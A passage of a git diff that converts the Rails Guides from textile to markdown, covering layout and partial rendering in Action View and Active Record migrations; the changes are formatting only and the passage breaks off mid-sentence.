`audio_tag` helper builds an HTML 5 `<audio>` tag to the specified file. By default, files are loaded from `public/audios`. -<erb> +```erb <%= audio_tag "music.mp3" %> -</erb> +``` You can supply a path to the audio file if you like: -<erb> +```erb <%= audio_tag "music/first_song.mp3" %> -</erb> +``` -You can also supply a hash of additional options, such as +:id+, +:class+ etc. +You can also supply a hash of additional options, such as `:id`, `:class` etc. -Like the +video_tag+, the +audio_tag+ has special options: +Like the `video_tag`, the `audio_tag` has special options: -* +:autoplay => true+, starts playing the audio on page load -* +:controls => true+, provides browser supplied controls for the user to interact with the audio. -* +:autobuffer => true+, the audio will pre load the file for the user on page load. +* `:autoplay => true`, starts playing the audio on page load +* `:controls => true`, provides browser supplied controls for the user to interact with the audio. +* `:autobuffer => true`, the audio will pre load the file for the user on page load. -h4. Understanding +yield+ +### Understanding `yield` -Within the context of a layout, +yield+ identifies a section where content from the view should be inserted. The simplest way to use this is to have a single +yield+, into which the entire contents of the view currently being rendered is inserted: +Within the context of a layout, `yield` identifies a section where content from the view should be inserted. The simplest way to use this is to have a single `yield`, into which the entire contents of the view currently being rendered is inserted: -<erb> +```html+erb <html> <head> </head> @@ -949,11 +953,11 @@ Within the context of a layout, +yield+ identifies a section where content from <%= yield %> </body> </html> -</erb> +``` You can also create a layout with multiple yielding regions: -<erb> +```html+erb <html> <head> <%= yield :head %> @@ -962,25 +966,25 @@ You can also create a layout with multiple yielding regions: <%= yield %> </body> </html> -</erb> +``` -The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method. +The main body of the view will always render into the unnamed `yield`. To render content into a named `yield`, you use the `content_for` method. -h4. Using the +content_for+ Method +### Using the `content_for` Method -The +content_for+ method allows you to insert content into a named +yield+ block in your layout. For example, this view would work with the layout that you just saw: +The `content_for` method allows you to insert content into a named `yield` block in your layout. For example, this view would work with the layout that you just saw: -<erb> +```html+erb <% content_for :head do %> <title>A simple page</title> <% end %> <p>Hello, Rails!</p> -</erb> +``` The result of rendering this page into the supplied layout would be this HTML: -<erb> +```html+erb <html> <head> <title>A simple page</title> @@ -989,35 +993,35 @@ The result of rendering this page into the supplied layout would be this HTML: <p>Hello, Rails!</p> </body> </html> -</erb> +``` -The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout. +The `content_for` method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout. -h4. Using Partials +### Using Partials Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file. -h5. Naming Partials +#### Naming Partials -To render a partial as part of a view, you use the +render+ method within the view: +To render a partial as part of a view, you use the `render` method within the view: -<ruby> +```ruby <%= render "menu" %> -</ruby> +``` -This will render a file named +_menu.html.erb+ at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder: +This will render a file named `_menu.html.erb` at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder: -<ruby> +```ruby <%= render "shared/menu" %> -</ruby> +``` -That code will pull in the partial from +app/views/shared/_menu.html.erb+. +That code will pull in the partial from `app/views/shared/_menu.html.erb`. -h5. Using Partials to Simplify Views +#### Using Partials to Simplify Views One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this: -<erb> +```erb <%= render "shared/ad_banner" %> <h1>Products</h1> @@ -1026,214 +1030,214 @@ One way to use partials is to treat them as the equivalent of subroutines: as a ... <%= render "shared/footer" %> -</erb> +``` -Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page. +Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page. TIP: For content that is shared among all pages in your application, you can use partials directly from layouts. -h5. Partial Layouts +#### Partial Layouts A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this: -<erb> +```erb <%= render :partial => "link_area", :layout => "graybar" %> -</erb> +``` -This would look for a partial named +_link_area.html.erb+ and render it using the layout +_graybar.html.erb+. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master +layouts+ folder). +This would look for a partial named `_link_area.html.erb` and render it using the layout `_graybar.html.erb`. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master `layouts` folder). -Also note that explicitly specifying +:partial+ is required when passing additional options such as +:layout+. +Also note that explicitly specifying `:partial` is required when passing additional options such as `:layout`. -h5. Passing Local Variables +#### Passing Local Variables You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content: -* +new.html.erb+ - -<erb> -<h1>New zone</h1> -<%= error_messages_for :zone %> -<%= render :partial => "form", :locals => { :zone => @zone } %> -</erb> - -* +edit.html.erb+ - -<erb> -<h1>Editing zone</h1> -<%= error_messages_for :zone %> -<%= render :partial => "form", :locals => { :zone => @zone } %> -</erb> - -* +_form.html.erb+ - -<erb> -<%= form_for(zone) do |f| %> - <p> - <b>Zone name</b><br /> - <%= f.text_field :name %> - </p> - <p> - <%= f.submit %> - </p> -<% end %> -</erb> +* `new.html.erb` + + ```html+erb + <h1>New zone</h1> + <%= error_messages_for :zone %> + <%= render :partial => "form", :locals => { :zone => @zone } %> + ``` + +* `edit.html.erb` + + ```html+erb + <h1>Editing zone</h1> + <%= error_messages_for :zone %> + <%= render :partial => "form", :locals => { :zone => @zone } %> + ``` + +* `_form.html.erb` + + ```html+erb + <%= form_for(zone) do |f| %> + <p> + <b>Zone name</b><br /> + <%= f.text_field :name %> + </p> + <p> + <%= f.submit %> + </p> + <% end %> + ``` Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action. -Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the +:object+ option: +Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the `:object` option: -<erb> +```erb <%= render :partial => "customer", :object => @new_customer %> -</erb> +``` -Within the +customer+ partial, the +customer+ variable will refer to +@new_customer+ from the parent view. +Within the `customer` partial, the `customer` variable will refer to `@new_customer` from the parent view. WARNING: In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior was deprecated in 2.3 and has been removed in Rails 3.0. If you have an instance of a model to render into a partial, you can use a shorthand syntax: -<erb> +```erb <%= render @customer %> -</erb> +``` -Assuming that the +@customer+ instance variable contains an instance of the +Customer+ model, this will use +_customer.html.erb+ to render it and will pass the local variable +customer+ into the partial which will refer to the +@customer+ instance variable in the parent view. +Assuming that the `@customer` instance variable contains an instance of the `Customer` model, this will use `_customer.html.erb` to render it and will pass the local variable `customer` into the partial which will refer to the `@customer` instance variable in the parent view. -h5. Rendering Collections +#### Rendering Collections -Partials are very useful in rendering collections. When you pass a collection to a partial via the +:collection+ option, the partial will be inserted once for each member in the collection: +Partials are very useful in rendering collections. When you pass a collection to a partial via the `:collection` option, the partial will be inserted once for each member in the collection: -* +index.html.erb+ +* `index.html.erb` -<erb> -<h1>Products</h1> -<%= render :partial => "product", :collection => @products %> -</erb> + ```html+erb + <h1>Products</h1> + <%= render :partial => "product", :collection => @products %> + ``` -* +_product.html.erb+ +* `_product.html.erb` -<erb> -<p>Product Name: <%= product.name %></p> -</erb> + ```html+erb + <p>Product Name: <%= product.name %></p> + ``` -When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+, and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered. +When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within the `_product` partial, you can refer to `product` to get the instance that is being rendered. -In Rails 3.0, there is also a shorthand for this. Assuming +@products+ is a collection of +product+ instances, you can simply write this in the +index.html.erb+ to produce the same result: +In Rails 3.0, there is also a shorthand for this. Assuming `@products` is a collection of `product` instances, you can simply write this in the `index.html.erb` to produce the same result: -<erb> +```html+erb <h1>Products</h1> <%= render @products %> -</erb> +``` Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection: -* +index.html.erb+ +* `index.html.erb` -<erb> -<h1>Contacts</h1> -<%= render [customer1, employee1, customer2, employee2] %> -</erb> + ```html+erb + <h1>Contacts</h1> + <%= render [customer1, employee1, customer2, employee2] %> + ``` -* +customers/_customer.html.erb+ +* `customers/_customer.html.erb` -<erb> -<p>Customer: <%= customer.name %></p> -</erb> + ```html+erb + <p>Customer: <%= customer.name %></p> + ``` -* +employees/_employee.html.erb+ +* `employees/_employee.html.erb` -<erb> -<p>Employee: <%= employee.name %></p> -</erb> + ```html+erb + <p>Employee: <%= employee.name %></p> + ``` In this case, Rails will use the customer or employee partials as appropriate for each member of the collection. -In the event that the collection is empty, +render+ will return nil, so it should be fairly simple to provide alternative content. +In the event that the collection is empty, `render` will return nil, so it should be fairly simple to provide alternative content. -<erb> +```html+erb <h1>Products</h1> <%= render(@products) || "There are no products available." %> -</erb> +``` -h5. Local Variables +#### Local Variables -To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial: +To use a custom local variable name within the partial, specify the `:as` option in the call to the partial: -<erb> +```erb <%= render :partial => "product", :collection => @products, :as => :item %> -</erb> +``` -With this change, you can access an instance of the +@products+ collection as the +item+ local variable within the partial. +With this change, you can access an instance of the `@products` collection as the `item` local variable within the partial. -You can also pass in arbitrary local variables to any partial you are rendering with the +:locals => {}+ option: +You can also pass in arbitrary local variables to any partial you are rendering with the `:locals => {}` option: -<erb> +```erb <%= render :partial => "products", :collection => @products, :as => :item, :locals => {:title => "Products Page"} %> -</erb> +``` -Would render a partial +_products.html.erb+ once for each instance of +product+ in the +@products+ instance variable passing the instance to the partial as a local variable called +item+ and to each partial, make the local variable +title+ available with the value +Products Page+. +Would render a partial `_products.html.erb` once for each instance of `product` in the `@products` instance variable passing the instance to the partial as a local variable called `item` and to each partial, make the local variable `title` available with the value `Products Page`. -TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by +_counter+. For example, if you're rendering +@products+, within the partial you can refer to +product_counter+ to tell you how many times the partial has been rendered. This does not work in conjunction with the +:as => :value+ option. +TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by `_counter`. For example, if you're rendering `@products`, within the partial you can refer to `product_counter` to tell you how many times the partial has been rendered. This does not work in conjunction with the `:as => :value` option. -You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option: +You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option: -h5. Spacer Templates +#### Spacer Templates -<erb> +```erb <%= render :partial => @products, :spacer_template => "product_ruler" %> -</erb> +``` -Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials. +Rails will render the `_product_ruler` partial (with no data passed in to it) between each pair of `_product` partials. -h5(#collection-partial-layouts). Partial Layouts +#### Collection Partial Layouts -When rendering collections it is also possible to use the +:layout+ option: +When rendering collections it is also possible to use the `:layout` option: -<erb> +```erb <%= render :partial => "product", :collection => @products, :layout => "special_layout" %> -</erb> +``` The layout will be rendered together with the partial for each item in the collection. The current object and object_counter variables will be available in the layout as well, the same way they do within the partial. -h4. Using Nested Layouts +### Using Nested Layouts You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example: -Suppose you have the following +ApplicationController+ layout: - -* +app/views/layouts/application.html.erb+ - -<erb> -<html> -<head> - <title><%= @page_title or "Page Title" %></title> - <%= stylesheet_link_tag "layout" %> - <style><%= yield :stylesheets %></style> -</head> -<body> - <div id="top_menu">Top menu items here</div> - <div id="menu">Menu items here</div> - <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div> -</body> -</html> -</erb> - -On pages generated by +NewsController+, you want to hide the top menu and add a right menu: - -* +app/views/layouts/news.html.erb+ - -<erb> -<% content_for :stylesheets do %> - #top_menu {display: none} - #right_menu {float: right; background-color: yellow; color: black} -<% end %> -<% content_for :content do %> - <div id="right_menu">Right menu items here</div> - <%= content_for?(:news_content) ? yield(:news_content) : yield %> -<% end %> -<%= render :template => "layouts/application" %> -</erb> +Suppose you have the following `ApplicationController` layout: + +* `app/views/layouts/application.html.erb` + + ```html+erb + <html> + <head> + <title><%= @page_title or "Page Title" %></title> + <%= stylesheet_link_tag "layout" %> + <style><%= yield :stylesheets %></style> + </head> + <body> + <div id="top_menu">Top menu items here</div> + <div id="menu">Menu items here</div> + <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div> + </body> + </html> + ``` + +On pages generated by `NewsController`, you want to hide the top menu and add a right menu: + +* `app/views/layouts/news.html.erb` + + ```html+erb + <% content_for :stylesheets do %> + #top_menu {display: none} + #right_menu {float: right; background-color: yellow; color: black} + <% end %> + <% content_for :content do %> + <div id="right_menu">Right menu items here</div> + <%= content_for?(:news_content) ? yield(:news_content) : yield %> + <% end %> + <%= render :template => "layouts/application" %> + ``` That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div. -There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +content_for?(:news_content) ? yield(:news_content) : yield+ with simply +yield+. +There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the `ActionView::render` method via `render :template => 'layouts/news'` to base a new layout on the News layout. If you are sure you will not subtemplate the `News` layout, you can replace the `content_for?(:news_content) ? yield(:news_content) : yield` with simply `yield`. diff --git a/guides/source/migrations.textile b/guides/source/migrations.md index e89bde7a83..a87a86cc6d 100644 --- a/guides/source/migrations.textile +++ b/guides/source/migrations.md @@ -1,4 +1,5 @@ -h2. Migrations +Migrations +========== Migrations are a convenient way for you to alter your database in a structured and organized manner. You could edit fragments of SQL by hand but you would then @@ -7,13 +8,13 @@ You'd also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to -do is update your source and run +rake db:migrate+. Active Record will work out -which migrations should be run. Active Record will also update your +db/schema.rb+ file to match the up-to-date structure of your database. +do is update your source and run `rake db:migrate`. Active Record will work out +which migrations should be run. Active Record will also update your `db/schema.rb` file to match the up-to-date structure of your database. Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of -+CREATE TABLE+ any more than you worry about variations on +SELECT *+ (you can +`CREATE TABLE` any more than you worry about variations on `SELECT *` (you can drop down to raw SQL for database specific features). For example, you could use SQLite3 in development, but MySQL in production. @@ -22,16 +23,17 @@ In this guide, you'll learn all about migrations including: * The generators you can use to create them * The methods Active Record provides to manipulate your database * The Rake tasks that manipulate them -* How they relate to +schema.rb+ +* How they relate to `schema.rb` -endprologue. +-------------------------------------------------------------------------------- -h3. Anatomy of a Migration +Anatomy of a Migration +---------------------- Before we dive into the details of a migration, here are a few examples of the sorts of things you can do: -<ruby> +```ruby class CreateProducts < ActiveRecord::Migration def up create_table :products do |t| @@ -46,19 +48,19 @@ class CreateProducts < ActiveRecord::Migration drop_table :products end end -</ruby> +``` -This migration adds a table called +products+ with a string column called +name+ -and a text column called +description+. A primary key column called +id+ will +This migration adds a table called `products` with a string column called `name` +and a text column called `description`. A primary key column called `id` will also be added, however since this is the default we do not need to explicitly specify it. -The timestamp columns +created_at+ and +updated_at+ which Active Record +The timestamp columns `created_at` and `updated_at` which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table. Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields: -<ruby> +```ruby class AddReceiveNewsletterToUsers < ActiveRecord::Migration def up change_table :users do |t| @@ -71,24 +73,24 @@ class AddReceiveNewsletterToUsers < ActiveRecord::Migration remove_column :users, :receive_newsletter end end -</ruby> +``` -NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in +NOTE: Some [caveats](#using-models-in-your-migrations) apply to using models in your migrations. -This migration adds a +receive_newsletter+ column to the +users+ table. We want -it to default to +false+ for new users, but existing users are considered to -have already opted in, so we use the User model to set the flag to +true+ for +This migration adds a `receive_newsletter` column to the `users` table. We want +it to default to `false` for new users, but existing users are considered to +have already opted in, so we use the User model to set the flag to `true` for existing users. -h4. Using the +change+ Method +### Using the change method -Rails 3.1 makes migrations smarter by providing a new <tt>change</tt> method. +Rails 3.1 makes migrations smarter by providing a new `change` method. This method is preferred for writing constructive migrations (adding columns or tables). The migration knows how to migrate your database and reverse it when -the migration is rolled back without the need to write a separate +down+ method. +the migration is rolled back without the need to write a separate `down` method. -<ruby> +```ruby class CreateProducts < ActiveRecord::Migration def change create_table :products do |t| @@ -99,33 +101,33 @@ class CreateProducts < ActiveRecord::Migration end end end -</ruby> +``` -h4. Migrations are Classes +### Migrations are Classes -A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements -two methods: +up+ (perform the required transformations) and +down+ (revert +A migration is a subclass of `ActiveRecord::Migration` that implements +two methods: `up` (perform the required transformations) and `down` (revert them). Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later): -* +add_column+ -* +add_reference+ -* +add_index+ -* +change_column+ -* +change_table+ -* +create_table+ -* +create_join_table+ -* +drop_table+ -* +remove_column+ -* +remove_index+ -* +rename_column+ -* +remove_reference+ +* `add_column` +* `add_reference` +* `add_index` +* `change_column` +* `change_table` +* `create_table` +* `create_join_table` +* `drop_table` +* `remove_column` +* `remove_index` +* `rename_column` +* `remove_reference` If you need to perform tasks specific to your database (e.g., create a -"foreign key":#active-record-and-referential-integrity constraint) then the -+execute+ method allows you to execute arbitrary SQL. A migration is just a +[foreign key](#active-record-and-referential-integrity) constraint) then the +`execute` method allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example, after adding a column you could write code to set the value of that column for existing records (if necessary using your models). @@ -136,17 +138,17 @@ database does not support this (for example MySQL) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to rollback the changes that were made by hand. -h4. What's in a Name +### What's in a Name -Migrations are stored as files in the +db/migrate+ directory, one for each +Migrations are stored as files in the `db/migrate` directory, one for each migration class. The name of the file is of the form -+YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp +`YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example -+20080906120000_create_products.rb+ should define class +CreateProducts+ and -+20080906120001_add_details_to_products.rb+ should define -+AddDetailsToProducts+. If you do feel the need to change the file name then you +`20080906120000_create_products.rb` should define class `CreateProducts` and +`20080906120001_add_details_to_products.rb` should define +`AddDetailsToProducts`. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class. @@ -156,31 +158,31 @@ each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1+ this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by adding the -following line to +config/application.rb+. +following line to `config/application.rb`. -<ruby> +```ruby config.active_record.timestamped_migrations = false -</ruby> +``` The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers. -For example, Alice adds migrations +20080906120000+ and +20080906123000+ and Bob -adds +20080906124500+ and runs it. Alice finishes her changes and checks in her -migrations and Bob pulls down the latest changes. When Bob runs +rake db:migrate+, -Rails knows that it has not run Alice's two migrations so it executes the +up+ method for each migration. +For example, Alice adds migrations `20080906120000` and `20080906123000` and Bob +adds `20080906124500` and runs it. Alice finishes her changes and checks in her +migrations and Bob pulls down the latest changes. When Bob runs `rake db:migrate`, +Rails knows that it has not run Alice's two migrations so it executes the `up` method for each migration. Of course this is no substitution for communication within the team. For example, if Alice's migration removed a table that Bob's migration assumed to exist, then trouble would certainly strike. -h4. Changing Migrations +### Changing Migrations Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do -nothing when you run +rake db:migrate+. You must rollback the migration (for -example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version. +nothing when you run `rake db:migrate`. You must rollback the migration (for +example with `rake db:rollback`), edit your migration and then run `rake db:migrate` to run the corrected version. In general, editing existing migrations is not a good idea. You will be creating extra work for yourself and your co-workers and cause major headaches if the @@ -190,51 +192,52 @@ Editing a freshly generated migration that has not yet been committed to source control (or, more generally, which has not been propagated beyond your development machine) is relatively harmless. -h4. Supported Types +### Supported Types Active Record supports the following database column types: -* +:binary+ -* +:boolean+ -* +:date+ -* +:datetime+ -* +:decimal+ -* +:float+ -* +:integer+ -* +:primary_key+ -* +:string+ -* +:text+ -* +:time+ -* +:timestamp+ +* `:binary` +* `:boolean` +* `:date` +* `:datetime` +* `:decimal` +* `:float` +* `:integer` +* `:primary_key` +* `:string` +* `:text` +* `:time` +* `:timestamp` These will be mapped onto an appropriate underlying database type. For example, -with MySQL the type +:string+ is mapped to +VARCHAR(255)+. You can create +with MySQL the type `:string` is mapped to `VARCHAR(255)`. You can create columns of types not supported by Active Record when using the non-sexy syntax such as -<ruby> +```ruby create_table :products do |t| t.column :name, 'polygon', :null => false end -</ruby> +``` This may however hinder portability to other databases. -h3. Creating a Migration +Creating a Migration +-------------------- -h4. Creating a Model +### Creating a Model The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for adding these columns will also be created. For example, running -<shell> +```bash $ rails generate model Product name:string description:text -</shell> +``` will create a migration that looks like this -<ruby> +```ruby class CreateProducts < ActiveRecord::Migration def change create_table :products do |t| @@ -245,58 +248,58 @@ class CreateProducts < ActiveRecord::Migration end end end -</ruby> +``` You can append as many column name/type pairs as you want. By default, the -generated migration will include +t.timestamps+ (which creates the -+updated_at+ and +created_at+ columns that are automatically populated +generated migration will include `t.timestamps` (which creates the +`updated_at` and `created_at` columns that are automatically populated by Active Record). -h4. Creating a Standalone Migration +### Creating a Standalone Migration If you are creating migrations for other purposes (e.g., to add a column to an existing table) then you can also use the migration generator: -<shell> +```bash $ rails generate migration AddPartNumberToProducts -</shell> +``` This will create an empty but appropriately named migration: -<ruby> +```ruby class AddPartNumberToProducts < ActiveRecord::Migration def change end end -</ruby> +``` If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is followed by a list of column names and types then a migration containing the -appropriate +add_column+ and +remove_column+ statements will be created. +appropriate `add_column` and `remove_column` statements will be created. -<shell> +```bash $ rails generate migration AddPartNumberToProducts part_number:string -</shell> +``` will generate -<ruby> +```ruby class AddPartNumberToProducts < ActiveRecord::Migration def change add_column :products, :part_number, :string end end -</ruby> +``` Similarly, -<shell> +```bash $ rails generate migration RemovePartNumberFromProducts part_number:string -</shell> +``` generates -<ruby> +```ruby class RemovePartNumberFromProducts < ActiveRecord::Migration def up remove_column :products, :part_number @@ -306,278 +309,279 @@ class RemovePartNumberFromProducts < ActiveRecord::Migration add_column :products, :part_number, :string end end -</ruby> +``` You are not limited to one magically generated column. For example -<shell> +```bash $ rails generate migration AddDetailsToProducts part_number:string price:decimal -</shell> +``` generates -<ruby> +```ruby class AddDetailsToProducts < ActiveRecord::Migration def change add_column :products, :part_number, :string add_column :products, :price, :decimal end end -</ruby> +``` As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit by editing the db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb file. NOTE: The generated migration file for destructive migrations will still be -old-style using the +up+ and +down+ methods. This is because Rails needs to know +old-style using the `up` and `down` methods. This is because Rails needs to know the original data types defined when you made the original changes. -Also, the generator accepts column type as +references+(also available as +belongs_to+). For instance +Also, the generator accepts column type as `references`(also available as `belongs_to`). For instance -<shell> +```bash $ rails generate migration AddUserRefToProducts user:references -</shell> +``` generates -<ruby> +```ruby class AddUserRefToProducts < ActiveRecord::Migration def change add_reference :products, :user, :index => true end end -</ruby> +``` This migration will create a user_id column and appropriate index. -h4. Supported Type Modifiers +### Supported Type Modifiers You can also specify some options just after the field type between curly braces. You can use the following modifiers: -* +limit+ Sets the maximum size of the +string/text/binary/integer+ fields -* +precision+ Defines the precision for the +decimal+ fields -* +scale+ Defines the scale for the +decimal+ fields -* +polymorphic+ Adds a +type+ column for +belongs_to+ associations +* `limit` Sets the maximum size of the `string/text/binary/integer` fields +* `precision` Defines the precision for the `decimal` fields +* `scale` Defines the scale for the `decimal` fields +* `polymorphic` Adds a `type` column for `belongs_to` associations For instance, running -<shell> +```bash $ rails generate migration AddDetailsToProducts price:decimal{5,2} supplier:references{polymorphic} -</shell> +``` will produce a migration that looks like this -<ruby> +```ruby class AddDetailsToProducts < ActiveRecord::Migration def change - add_column :products, :price, :precision => 5, :scale => 2 + add_column :products, :price, :precision => 5, :scale => 2 add_reference :products, :user, :polymorphic => true, :index => true end end -</ruby> +``` -h3. Writing a Migration +Writing a Migration +------------------- Once you have created your migration using one of the generators it's time to get to work! -h4. Creating a Table +### Creating a Table -Migration method +create_table+ will be one of your workhorses. A typical use +Migration method `create_table` will be one of your workhorses. A typical use would be -<ruby> +```ruby create_table :products do |t| t.string :name end -</ruby> +``` -which creates a +products+ table with a column called +name+ (and as discussed -below, an implicit +id+ column). +which creates a `products` table with a column called `name` (and as discussed +below, an implicit `id` column). The object yielded to the block allows you to create columns on the table. There are two ways of doing it. The first (traditional) form looks like -<ruby> +```ruby create_table :products do |t| t.column :name, :string, :null => false end -</ruby> +``` The second form, the so called "sexy" migration, drops the somewhat redundant -+column+ method. Instead, the +string+, +integer+, etc. methods create a column +`column` method. Instead, the `string`, `integer`, etc. methods create a column of that type. Subsequent parameters are the same. -<ruby> +```ruby create_table :products do |t| t.string :name, :null => false end -</ruby> +``` -By default, +create_table+ will create a primary key called +id+. You can change -the name of the primary key with the +:primary_key+ option (don't forget to +By default, `create_table` will create a primary key called `id`. You can change +the name of the primary key with the `:primary_key` option (don't forget to update the corresponding model) or, if you don't want a primary key at all (for -example for a HABTM join table), you can pass the option +:id => false+. If you +example for a HABTM join table), you can pass the option `:id => false`. If you need to pass database specific options you can place an SQL fragment in the -+:options+ option. For example, +`:options` option. For example, -<ruby> +```ruby create_table :products, :options => "ENGINE=BLACKHOLE" do |t| t.string :name, :null => false end -</ruby> +``` -will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table -(when using MySQL, the default is +ENGINE=InnoDB+). +will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table +(when using MySQL, the default is `ENGINE=InnoDB`). -h4. Creating a Join Table +### Creating a Join Table -Migration method +create_join_table+ creates a HABTM join table. A typical use +Migration method `create_join_table` creates a HABTM join table. A typical use would be -<ruby> +```ruby create_join_table :products, :categories -</ruby> +``` -which creates a +categories_products+ table with two columns called +category_id+ and +product_id+. -These columns have the option +:null+ set to +false+ by default. +which creates a `categories_products` table with two columns called `category_id` and `product_id`. +These columns have the option `:null` set to `false` by default. -You can pass the option +:table_name+ with you want to customize the table name. For example, +You can pass the option `:table_name` with you want to customize the table name. For example, -<ruby> +```ruby create_join_table :products, :categories, :table_name => :categorization -</ruby> +``` -will create a +categorization+ table. +will create a `categorization` table. -By default, +create_join_table+ will create two columns with no options, but you can specify these -options using the +:column_options+ option. For example, +By default, `create_join_table` will create two columns with no options, but you can specify these +options using the `:column_options` option. For example, -<ruby> +```ruby create_join_table :products, :categories, :column_options => {:null => true} -</ruby> +``` -will create the +product_id+ and +category_id+ with the +:null+ option as +true+. +will create the `product_id` and `category_id` with the `:null` option as `true`. -h4. Changing Tables +### Changing Tables -A close cousin of +create_table+ is +change_table+, used for changing existing -tables. It is used in a similar fashion to +create_table+ but the object yielded +A close cousin of `create_table` is `change_table`, used for changing existing +tables. It is used in a similar fashion to `create_table` but the object yielded to the block knows more tricks. For example -<ruby> +```ruby change_table :products do |t| t.remove :description, :name t.string :part_number t.index :part_number t.rename :upccode, :upc_code end -</ruby> +``` -removes the +description+ and +name+ columns, creates a +part_number+ string -column and adds an index on it. Finally it renames the +upccode+ column. +removes the `description` and `name` columns, creates a `part_number` string +column and adds an index on it. Finally it renames the `upccode` column. -h4. Special Helpers +### Special Helpers Active Record provides some shortcuts for common functionality. It is for -example very common to add both the +created_at+ and +updated_at+ columns and so +example very common to add both the `created_at` and `updated_at` columns and so there is a method that does exactly that: -<ruby> +```ruby create_table :products do |t| t.timestamps end -</ruby> +``` -will create a new products table with those two columns (plus the +id+ column) +will create a new products table with those two columns (plus the `id` column) whereas -<ruby> +```ruby change_table :products do |t| t.timestamps end -</ruby> +``` adds those columns to an existing table. -Another helper is called +references+ (also available as +belongs_to+). In its +Another helper is called `references` (also available as `belongs_to`). In its simplest form it just adds some readability. -<ruby> +```ruby create_table :products do |t| t.references :category end -</ruby> +``` -will create a +category_id+ column of the appropriate type. Note that you pass -the model name, not the column name. Active Record adds the +_id+ for you. If -you have polymorphic +belongs_to+ associations then +references+ will add both +will create a `category_id` column of the appropriate type. Note that you pass +the model name, not the column name. Active Record adds the `_id` for you. If +you have polymorphic `belongs_to` associations then `references` will add both of the columns required: -<ruby> +```ruby create_table :products do |t| t.references :attachment, :polymorphic => {:default => 'Photo'} end -</ruby> +``` -will add an +attachment_id+ column and a string +attachment_type+ column with -a default value of 